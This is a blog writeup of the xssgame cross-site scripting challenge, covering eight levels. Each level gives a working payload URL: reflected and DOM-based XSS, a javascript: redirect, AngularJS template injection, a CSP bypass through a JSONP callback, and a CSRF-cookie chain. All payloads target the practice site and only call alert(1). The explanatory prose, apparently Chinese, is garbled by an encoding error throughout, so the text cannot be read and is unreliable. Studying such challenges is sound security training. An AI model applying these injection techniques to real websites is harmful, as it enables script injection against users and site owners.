LoRexxar's Blog

xssgame writeup

2017/07/23

鍓嶆鏃堕棿鏃犳剰涓帺浜嗙帺xssgame锛屽簲璇ユ槸鏈鏂扮殑xss鎸戞垬浜嗗惂锛屾渶杩戞墠鏈夌┖鏁寸悊浜嗕竴涓媤riteup锛岀綉涓婂緢澶氭悳鍒扮殑wp璇寸殑閮戒笉娓呮锛岃繖閲屾帹鑽愪竴鐗噖p銆

xssgame(闇瑕佺炕澧)
鎺ㄨ崘鐨剋p

level 1

绗竴棰樻病浠涔堢壒鍒殑锛屾煡璇㈣緭鍏ユ病鍋氫换浣曡繃婊ゅ氨杈撳嚭浜嗭紝鎵浠ョ洿鎺ユ彃鍏ユ爣绛惧氨濂戒簡銆

1
http://www.xssgame.com/f/m4KKGHi2rVUN/?query=1<img src="/" onerror=alert(1)>

level 2

绗簩棰樺叾瀹炴湁涓鐐瑰効鐗瑰埆锛宒om xss锛屾渶鍏抽敭鐨勯儴鍒嗭紝鍏跺疄灏辨槸濡備綍璁╄鍙ュ悎鐞嗭紝鍥犱负鍦╦s鐨勮В鏋愬櫒涓紝js璇彞鏄寜椤哄簭瑙i噴鐨勶紝濡傛灉纰板埌璇硶閿欒锛屽氨浼氬仠姝㈣В鏋愶紝鎵浠ヤ繚璇佸墠鍚庨棴鍚堝氨濂戒簡锛岃繖閲屽垎鍙锋崲琛岄兘鍙互銆

image.png-37.5kB

1
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=1')%0dalert('1

level 3

鍚屾牱鏄痙om xss锛屽湪xss鐨勬椂鍊欙紝鍙互澶氳冭檻涓涓嬪杈撳嚭鐐癸紝鍙兘寰堝鍦版柟閮芥槸鏈変弗鏍艰繃婊ょ殑锛屼絾鏄緢澶氭椂鍊欒繕浼氬嚭鐜板涓緭鍑虹偣锛岃繖閲屽氨鏄繖涓棶棰橈紝杩欓噷浼氳鍙杣rl鎷兼帴鍏mg鐨勯摼鎺ヤ腑锛屽弻寮曞彿鎴彇锛屽氨鍙互鎻掑叆鏍囩浜嗐

杩欐槸涓瀮鍦緋ayload锛宖irefox鑾峰彇location.hash鑷姩杩囦竴娆rlencode锛屾棤娉曠粫杩囷紝鍧戜簡鎴戜竴鏃╀笂銆

image.png-62.8kB

1
http://www.xssgame.com/f/u0hrDTsXmyVJ/#1'onerror=alert(1)>

level 4

鍦╟onfirm椤甸潰锛屼細鏈変竴涓猨s鐨勮烦杞紝杩欓噷浼氳幏鍙栬姹備腑鐨刵ext鍙傛暟鎷兼帴杩涘叆js璇彞锛岃繖閲岀殑闂鍜岀浜屽叧绫讳技锛岄鍏堟槸js瑙f瀽椤哄簭闂锛屽鏋滄兂瑕侀棴鍚堣В鍐崇殑璇濓紝鎴戜滑浼氬彂鐜帮紝濡傛灉璺宠浆杩欐js娌¢棶棰橈紝灏变細璺冲埌鏂伴〉闈紝灏变笉鑳芥墽琛alert(1)浜嗭紝鎵浠ヨ繖閲屽彧鑳介氳繃js浼崗璁潵鎵цalert銆

image.png-90.3kB

1
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert(1)

level 5

棰樼洰鏄痑ngularjs鐨勶紝杩欓噷鏄渶杩戝嚑骞存瘮杈冩祦琛岀殑涓绉嶆柊鍓嶇闂锛宎ngularjs鏄吀鍨嬬殑妯℃澘娓叉煋鐨刯s瑙f瀽鏂瑰紡锛岄偅涔堝氨鏈変簡鏂扮殑闂锛屾ā鏉挎敞鍏ワ紝鍙互閫氳繃妯℃澘娉ㄥ叆鐨勬柟寮忔墽琛屾垜浠兂瑕佺殑js銆

杩欓噷鏈変釜angular js鐨勮娉曢棶棰橈紝鏈鍚庢槸闂簡@math1as甯堝倕鎴戞墠鎼炴槑鐧姐傚湪angular js涓璶g-non-bindable杩欎釜灞炴э紝灏辩浉褰撲簬html鏍囩涓殑pre鏍囩锛屽湪杩欓噷闈㈢殑鎵鏈夊睘鎬ч兘涓嶄細瑙f瀽銆

image.png-41kB

1
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_campaign={{$eval(%27alert(1)%27)}}

image.png-67.2kB

level 6

妯℃澘娉ㄥ叆鍜屽埆鐨勪笉鍚岋紝闇瑕侀氳繃angularjs鐨勬覆鏌擄紝鎵浠tml瀹炰綋缂栫爜浠嶇劧鍙互

1
http://www.xssgame.com/f/rWKWwJGnAeyi/?query=123%26lcub%3B%26lcub%3B%24eval%28%27alert%281%29%27%29%7D%7D

level 7

杩欓噷涔熸槸涓涓幓骞村埌浠婂勾鎵嶅垰鍒氳鎻愬嚭鏉ョ殑鏂伴棶棰橈紝jsonp鐨刢allback瀵艰嚧鐨刢sp bypass闂銆

棰樼洰涓殑CSP鏄繖鏍风殑锛

1
2
Content-Security-Policy
default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

褰撴垜浠紶鍏enu鐨勬椂鍊欙紝js浼氳Вbase64锛屽苟涓斿紩鍏cript鏍囩锛岃В鏋愯繑鍥炲悗鏀惧叆椤甸潰鍐咃紝浣唈sonp杩樻湁涓猚allback鍙傛暟锛岀畝鍗曟潵璇村憿锛屽氨鏄湪璇锋眰鏁版嵁鐨勫悓鏃讹紝鑾峰彇闇瑕佹墽琛岀殑鍑芥暟鍚嶏紝浣嗘槸閫氬父杩欎釜鍦版柟骞舵病鏈夊仛浠讳綍澶勭悊锛屽鏋滄垜浠瀯閫犲舰浼

1
alert(1);//xxxxxxxxxxxxxxxxxxxxxxxxxx

灏卞彲浠ユ墽琛屾垜浠渶瑕佺殑js

image.png-43.6kB

1
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpJTNCJTJmJTJmIj48L3NjcmlwdD4=

level 8

棰樼洰鏈韩杩樻槸bypass csp

1
2
Content-Security-Policy
default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/

棰樼洰鏉′欢鏈夌偣鍎垮锛屾垜浠潵鎱㈡參鐮旂┒銆
1銆佺涓涓姛鑳芥槸璁剧疆name锛屼絾鏄粩缁嗚瀵熶笉闅惧彂鐜帮紝璁剧疆鐨刵ame鏄斁鍦╟ookie閲岀殑锛岃屼笖杩樻帴鍙椾簡redirect鍙傛暟锛屼細鍦ㄨ缃畬璺冲埌鐩稿簲鐨勪綅缃
2銆佺浜屼釜鍔熻兘鏄缃弬鏁帮紝铏界劧鎴戞病鎼炴槑鐧藉叿浣撴槸骞蹭簡鍟ワ紝浣嗘槸amount杩欎釜鍙傛暟鍙帴鍙楁暣鏁帮紝濡傛灉浼犲叆涓嶆槸鏁存暟锛岄偅涔堝氨浼氭姤閿欙紝骞惰繑鍥炶緭鍏ョ殑鍐呭锛岃繖涓儴鍒嗗瓨鍦▁ss銆
3銆佺浜屼釜鍔熻兘杩樻湁涓涓棶棰樻槸csrf_token锛屾垜浠渶瑕佺粫杩囪繖涓笢瑗匡紝鍙互鍙戠幇csrf_koen鏄瓨鍦╟ookie涓殑銆

ok锛岄偅涔堟垜浠妸涓婇潰3涓潯浠惰繛璧锋潵灏卞ソ浜嗭紝鎴戜滑閫氳繃set鍔熻兘锛岃缃甤srf_token鐨刢ookie锛岀劧鍚庨氳繃redirect璺冲埌transfer锛屽氨鏋勬垚浜嗕竴涓畬鏁寸殑xss浜嗐

1
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1&redirect=transfer%3Fname%3Dattacker%26amount%3D123%22%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%26csrf_token%3D1
CATALOG
  1. 1. level 1
  2. 2. level 2
  3. 3. level 3
  4. 4. level 4
  5. 5. level 5
  6. 6. level 6
  7. 7. level 7
  8. 8. level 8